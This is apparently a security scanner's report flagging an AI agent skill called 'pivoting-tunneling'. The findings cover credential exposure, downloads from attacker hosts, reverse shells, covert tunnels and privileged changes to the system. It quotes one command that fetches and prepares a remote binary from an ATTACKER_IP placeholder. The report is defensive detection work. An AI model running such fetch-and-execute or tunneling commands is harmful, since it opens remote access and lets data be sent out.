pivoting-tunneling

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt requires the agent to read and report "new credentials or tokens" from state/evidence and to produce full commands/configs (examples include user:pass@proxy URLs, -pw PASSWORD, ATTACKER_IP placeholders, and evidence files like ssrf-aws-creds.json), which forces the LLM to handle and potentially output secret values verbatim — an exfiltration risk.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These URLs point to attacker-controlled or placeholder private IP hosts serving tunneling/webshell binaries and scripts (direct .exe and agent downloads, webshell endpoints, proxy-auth endpoints and local forwards), which are untrusted direct-download sources commonly used to distribute malware or unauthorized pivoting tools.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The document contains explicit, deliberate techniques for establishing reverse shells/agents, remote code execution, covert tunnels (DNS/ICMP/HTTP), and remote port forwarding/agent transfer that enable unauthorized remote access and data exfiltration.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill explicitly instructs fetching and running remote binaries at runtime (e.g., "wget http://ATTACKER_IP:8000/agent -O /tmp/agent && chmod +x /tmp/agent"), so the URL(s) like http://ATTACKER_IP:8000/agent are runtime external dependencies that deliver and enable execution of remote code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs creating TUN devices, adding iptables/routes, editing sshd_config, running numerous sudo/privileged commands, modifying firewall/netsh rules and uploading binaries to pivots—all actions that change system state and require elevated privileges, so it pushes compromising the machine.